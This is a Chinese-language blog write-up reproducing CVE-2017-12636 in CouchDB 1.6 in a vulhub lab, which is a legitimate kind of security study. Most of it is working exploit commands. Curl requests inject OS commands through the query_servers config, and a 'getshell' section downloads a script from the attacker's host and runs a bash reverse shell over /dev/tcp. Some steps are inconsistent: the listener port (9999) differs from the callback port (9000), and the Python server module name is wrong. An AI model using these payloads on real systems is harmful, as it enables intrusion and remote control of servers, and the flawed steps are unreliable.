CVE-2017-12636 recurrent
前言
继续复现CVE,这次是CVE-2017-12636
漏洞介绍
CVE-2017-12636漏洞在于CouchDB自身的设计问题,CouchDB在query_server中引入了外部的二进制程序来执行命令,我们可以通过CouchDB自身提供的Restful API接口动态修改保存配置,从而执行系统命令
这里我只复现1.6版本的
环境搭建
下载vulhub,进入对应CVE文件夹,执行:
docker-compose up -d
搭建成功后访问,能看到如下图所示
http://127.0.0.1:5983
复现过程
利用要求:需要拥有一个管理员账号
使用CVE-2017-12635来添加一个账号
username:vulhub
password:vulhub
依次执行以下命令则可命令执行:
curl -X PUT 'http://vulhub:vulhub@192.168.190.128:5984/_config/query_servers/cmd' -d '"id >/tmp/success"'
curl -X PUT 'http://vulhub:vulhub@192.168.190.128:5984/vultest'
curl -X PUT 'http://vulhub:vulhub@192.168.190.128:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
curl -X POST 'http://vulhub:vulhub@192.168.190.128:5984/vultest/_temp_view?limit=10' -d '{"language":"cmd","map":""}' -H 'Content-Type:application/json'
结果如下:
getshell
操作如下:
1.先用nc在kali监听nc -lvp 9999
2.用python -m SimpleHttpsServer 8083在kali搭建一个简单的http服务
3.在根目录创建一个index.html写入bash -i >& /dev/tcp/192.168.241.128/9000 0>&1
4.执行以下命令即可获得一个shell
命令如下:
curl -X PUT http://vulhub:vulhub@192.168.241.128:5984/_node/nonode@nohost/_config/query_servers/cmd -d '"curl 192.168.241.128:8083/ -o /tmp/bashshell"'
curl -X POST 'http://vulhub:vulhub@192.168.241.128:5984/vultest/_temp_view?limit=10' -d '{"language":"cmd","map":""}' -H 'Content-Type:application/json'
curl -X PUT http://vulhub:vulhub@192.168.241.128:5984/_node/nonode@nohost/_config/query_servers/cmd -d '"bash /tmp/bashshell"'
curl -X POST 'http://vulhub:vulhub@192.168.241.128:5984/vultest/_temp_view?limit=10' -d '{"language":"cmd","map":""}' -H 'Content-Type:application/json'
我这里将命令扔进demo.sh
转载请声明:转自422926799.github.io
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。
文章标题:CVE-2017-12636 recurrent
本文作者:九世
发布时间:2019-02-09, 15:17:57
最后更新:2019-04-19, 20:36:16
原始链接:http://jiushill.github.io/posts/67b377fa.html版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。